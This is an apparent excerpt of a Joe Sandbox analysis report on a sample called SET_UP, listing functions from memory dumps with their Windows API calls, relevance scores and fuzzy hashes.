Function 0007AB80 Relevance: 3.1, APIs: 2, Instructions: 96COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,00001004,00000000,00000000,0CE81EE3), ref: 0007ABB5
GetLocaleInfoW.KERNEL32(?,00001004,00000000,00000000), ref: 0007AC02

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 6a3039d599a4a86891c154087bbed4eed15435fc3490e261fd62b70e2c5c82fe
Instruction ID: 567fe0ae72c8eac30dfa508def99c2a5e9e3c640aa05cee24a53f62864bc64ca
Opcode Fuzzy Hash: 6a3039d599a4a86891c154087bbed4eed15435fc3490e261fd62b70e2c5c82fe
Instruction Fuzzy Hash: 63313972A45645EFD711CB64DC05BEFB7A8EB85330F208229F819973C1EB799900C795

Function 00077900 Relevance: 2.1, APIs: 1, Instructions: 588libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(-00000001B9693223), ref: 00077BE7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: e89e7cb103db48ab230f11d034a6c232d93a90b4ca07f350786964a429cb029c
Instruction ID: 0310cf2272ab04ec166eb56f18d4cb9ce2a8d9e096a4f211db25c2feaaab3c3e
Opcode Fuzzy Hash: e89e7cb103db48ab230f11d034a6c232d93a90b4ca07f350786964a429cb029c
Instruction Fuzzy Hash: C812217E94D3218FC708EFB9ECD65A93661FB92324345822DD54697D7ACF38C4828B81

Function 00076FF6 Relevance: 2.0, APIs: 1, Instructions: 534COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,-000000045D054797,-43DA81A6,?,685C87DB,?,?,000000FF,?,?,0014B258,000714D5,00000010), ref: 0007735F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c9222660a0b9b02a709d2eacadb8af2fb53223a587f090d44de03e13962693c1
Instruction ID: 8da8e218b1e75d1bb8db539c3285af9d891d61b933b13f1fa45515c8810eb345
Opcode Fuzzy Hash: c9222660a0b9b02a709d2eacadb8af2fb53223a587f090d44de03e13962693c1
Instruction Fuzzy Hash: FB12257AD1D3248FD308EFB9ECC65993762FB823143418229D54687D7BDB74D1828B92

Function 0008C7F0 Relevance: 1.9, APIs: 1, Instructions: 613memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,0004E81A,-00000002D99466B3,-8EC3CF68,000C92E1,?,00000000), ref: 0008CD7A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a6fec2165af5e6d2b7793f1e07c3bbc6c7d2343115db425a522539f1183bda37
Instruction ID: c0426f13bde43141169659446ac4e9fc1e917031e206ac79efc0f9442f3272ce
Opcode Fuzzy Hash: a6fec2165af5e6d2b7793f1e07c3bbc6c7d2343115db425a522539f1183bda37
Instruction Fuzzy Hash: 9922057AC093208FC748EFB9ECC65AA3761FB82314342952ED54697D77CF3495C28A82

Function 00077880 Relevance: 1.8, APIs: 1, Instructions: 276libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(-00000001B9693223), ref: 00077BE7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: f9f89565215654bb4f54cf7d237aacd95fe951dfc08f09f2b4f0c4ab1fbea0ac
Instruction ID: ac0fe0de65e4b57c14016eb2c03d2e44ac766b29962a46c926923e41bfd8017b
Opcode Fuzzy Hash: f9f89565215654bb4f54cf7d237aacd95fe951dfc08f09f2b4f0c4ab1fbea0ac
Instruction Fuzzy Hash: 6D91397E91C3158FC708EF7AECC64AA3651EB92324345D22DD956D7D37CB38C4868A81

Function 000F9547 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,00000000,?,00000008,?,?,000F9542,00000000,?,00000008,?,?,001032EE,00000000), ref: 000F9774

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 65127cbcaab3f87afc81b0b2ed1f45d39cc78b45f402e4e57ff04ac56a210edf
Instruction ID: 9617c4ef70665c112e13b3f31a2c2750c7a5321b372c62aa2e2c8b5e578b856a
Opcode Fuzzy Hash: 65127cbcaab3f87afc81b0b2ed1f45d39cc78b45f402e4e57ff04ac56a210edf
Instruction Fuzzy Hash: 87B15F31620608CFD769CF28C486B657BE0FF45364F258658E999CF6A1C335E992DF40

Function 0008CAB0 Relevance: 1.7, APIs: 1, Instructions: 434memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,0004E81A,-00000002D99466B3,-8EC3CF68,000C92E1,?,00000000), ref: 0008CD7A

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 80d1b972ed647722d25725e44e217e0404c9ade67a3cbea426b51e0287f3e8da
Instruction ID: e3f3e5ce1ca89180efe10634f4aa4fc0c1df82babbc5d7d6a648b3cc6b5497e3
Opcode Fuzzy Hash: 80d1b972ed647722d25725e44e217e0404c9ade67a3cbea426b51e0287f3e8da
Instruction Fuzzy Hash: 7BE1F37A8093108FC758EFB9ECC65AA3761FB82324341912EE54697D77CF3495C68B82

Function 000FC3A9 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcf1fe781de204c0290078f195d182da5de6b47ed4169f5973cf5043117bf284
Instruction ID: 79401e940087c03e1350d2ca1b6363011996f6a45ebc5a3f64f6488db8565370
Opcode Fuzzy Hash: fcf1fe781de204c0290078f195d182da5de6b47ed4169f5973cf5043117bf284
Instruction Fuzzy Hash: 3631F77290021DAFDB24DF69CD8ADFB77BDEB84310F148158FA0693645EA30EE409B90

Function 000FF183 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

Part of subcall function 000F52B8: _free.LIBCMT ref: 000F531A
Part of subcall function 000F52B8: _free.LIBCMT ref: 000F5350

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 000FF1D7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: c322904e09706bdc820db804ce98e90989a092f2f1f0c41a651e1a123ef8c75d
Instruction ID: 58e7067368cd0bb6cb3d0f0d05d62cd0acf0969a68033413311c2f57d069b6eb
Opcode Fuzzy Hash: c322904e09706bdc820db804ce98e90989a092f2f1f0c41a651e1a123ef8c75d
Instruction Fuzzy Hash: A421CF7661124FABDB689A65DC42ABA33ECEF45310F10017AFE05D6942EB38ED41AB50

Function 000FEE0A Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

EnumSystemLocalesW.KERNEL32(000FEF30,00000001,00000000,?,-00000050,?,000FF55E,00000000,?,?,?,00000055,?), ref: 000FEE7C

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: a0bf0ea669c87273fa2f4157863f41cf49a96c6e44fdada4ceea92d3a50643bd
Instruction ID: a62f5cb088ee2deeb3104873d1974914e0753f57b169ec61760eadce9910792f
Opcode Fuzzy Hash: a0bf0ea669c87273fa2f4157863f41cf49a96c6e44fdada4ceea92d3a50643bd
Instruction Fuzzy Hash: DB11253A2007099FDB189F38D8915BAB7D2FF84328B59853CEB8687E50D371B942DB40

Function 000D87D0 Relevance: 1.6, APIs: 1, Instructions: 56comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0011C690,00000000,00000001,001303EC,?,0CE81EE3,?,?,?,?,00105740,000000FF), ref: 000D882C

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 934d312fbeb05215ff69745429afbe36635b66d87195e0eece93ba6cc858c893
Instruction ID: 7676854c38e4bf9b6f84d9ce380beb840da28bb4ec64b7001f1c4d1803183acd
Opcode Fuzzy Hash: 934d312fbeb05215ff69745429afbe36635b66d87195e0eece93ba6cc858c893
Instruction Fuzzy Hash: CE11A177B44214ABC325CF49D880F9AFBA9FB59B60F10826AF90597740DB716C00CBE0

Function 000FF3AF Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,000FF14C,00000000,00000000,?), ref: 000FF3DB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 5b006f7a4ce18df4a166571daf2593d95b08dc932262a4d68ffe41314dbf236f
Instruction ID: 4441a17596d3c121c5f951af0174382805cdee773c4cea0b23941e2ded937f63
Opcode Fuzzy Hash: 5b006f7a4ce18df4a166571daf2593d95b08dc932262a4d68ffe41314dbf236f
Instruction Fuzzy Hash: B5F0F93290011BBBDB295A60DC056FB7798EF40354F154434EE05A3981EB70FE81E690

Function 000FEEA5 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

EnumSystemLocalesW.KERNEL32(000FF183,00000001,00000003,?,-00000050,?,000FF522,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 000FEEEF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3bf460ae3f40c78b1e40af622289ffe2804efec5dcc6fc43f177bcb6e5506624
Instruction ID: 1d7fc01c56247bd7121c45720a1676fddb0ec44347443c6062023cdffbffba82
Opcode Fuzzy Hash: 3bf460ae3f40c78b1e40af622289ffe2804efec5dcc6fc43f177bcb6e5506624
Instruction Fuzzy Hash: 36F022362003486FCB145F38EC81ABA7BD1EF81368F09413CFB054BA90C2B19C01E640

Function 000F871B Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F1C2A: EnterCriticalSection.KERNEL32(-0014AA20,?,000F2F69,00074236,00145DD0,0000000C,000F324A,?), ref: 000F1C39

EnumSystemLocalesW.KERNEL32(000F870E,00000001,00145FD0,0000000C,000F8ABD,00000000), ref: 000F8753

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 0f25cc02c691e4a97ba6e091cfa6e403550ee2c6e6f39830a7bcb85d8e7e2354
Instruction ID: b8ed6d1da8bf60d7090295136a98e6ef9e09603c73a079d9607588142063e501
Opcode Fuzzy Hash: 0f25cc02c691e4a97ba6e091cfa6e403550ee2c6e6f39830a7bcb85d8e7e2354
Instruction Fuzzy Hash: E6F03C36A44304DFD704EF98E982BA977F0FB05721F20811AF5159B6A1DB7599449F80

Function 000FEDBF Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000F52B8: GetLastError.KERNEL32(?,?,?,000ECC05,?,?,0008C44D,?,000EC44D,000000FF,?,?,?), ref: 000F52BD
Part of subcall function 000F52B8: SetLastError.KERNEL32(00000000,00000006,000000FF,?,000EC44D,000000FF,?,?,?), ref: 000F535B

EnumSystemLocalesW.KERNEL32(000FED18,00000001,00000003,?,?,000FF580,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 000FEDF6

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d2f37cceafe67a43a274bfa29f773876bde6a06fa5a1ca61d251363b889153fe
Instruction ID: a619a58e830d9cb47ec711e18f14c5c87f158d998acd75c1766dbc067b2ad4e9
Opcode Fuzzy Hash: d2f37cceafe67a43a274bfa29f773876bde6a06fa5a1ca61d251363b889153fe
Instruction Fuzzy Hash: B9F0553A30024997CB189F35EC056BA7F90EFC2720B474068EB098BE60C2719842D790

Function 000F8BC1 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,000F49EB,?,20001004,00000000,00000002,?,?,000F3FF8), ref: 000F8BF5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 08c67a561169e31e406ff4b8ffb488bfdab2a58b662063e487a65fd3643b0af6
Instruction ID: 52305ad53c2ade55437dbbf900a4c5cbcf3c5f6398b8136e0bb8388bed677178
Opcode Fuzzy Hash: 08c67a561169e31e406ff4b8ffb488bfdab2a58b662063e487a65fd3643b0af6
Instruction Fuzzy Hash: 78E01A3554061CBBCB122F60DD05EEE3F1AFF45760F048415FA0565562CF329961ABD4

Function 000ED83F Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 000ED9BB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d3e6a9c24573d172331ac64bf8536eef3350a43d06976d21e55b305cc175f2de
Instruction ID: e3d47d3ee15f4f6e6f78a10b7bd43ff1babc7a638540d7b862c68fda0ba8cbf0
Opcode Fuzzy Hash: d3e6a9c24573d172331ac64bf8536eef3350a43d06976d21e55b305cc175f2de
Instruction Fuzzy Hash: 215178716046C85EDBBC8A2B8D957BE77D9DB42304F58042BE486F72C3DA12DE44D306

Function 00074130 Relevance: 1.3, APIs: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000E7234: EnterCriticalSection.KERNEL32(0014A5E4,?,?,?,000741D6,0014B204,0CE81EE3,?,?,00105BBD,000000FF,?,00071027,0CE81EE3,?,001077CF), ref: 000E723F
Part of subcall function 000E7234: LeaveCriticalSection.KERNEL32(0014A5E4,?,?,?,000741D6,0014B204,0CE81EE3,?,?,00105BBD,000000FF,?,00071027,0CE81EE3,?,001077CF), ref: 000E727C

GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 000E71EA: EnterCriticalSection.KERNEL32(0014A5E4,?,?,00074247,0014B204,0011AB90), ref: 000E71F4
Part of subcall function 000E71EA: LeaveCriticalSection.KERNEL32(0014A5E4,?,?,00074247,0014B204,0011AB90), ref: 000E7227
Part of subcall function 000E71EA: RtlWakeAllConditionVariable.NTDLL ref: 000E729E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionHeapProcessVariableWake
String ID:
API String ID: 325507722-0
Opcode ID: d99f53e58398949cbe97ea261e7b466a5d3f9fa8e54163747ca5483e8c5c05cf
Instruction ID: 073f81ab7492832fa6b538a58036d082be5407da8cc6f7ee777b6dca77593374
Opcode Fuzzy Hash: d99f53e58398949cbe97ea261e7b466a5d3f9fa8e54163747ca5483e8c5c05cf
Instruction Fuzzy Hash: 42217AF890D6449FD310DF68EA85F5E37A1E706324F008259E639A76B1D7F4B9808B91

Function 000A8A40 Relevance: 1.0, Instructions: 972COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressHeapProcProcess
String ID:
API String ID: 3538834964-0
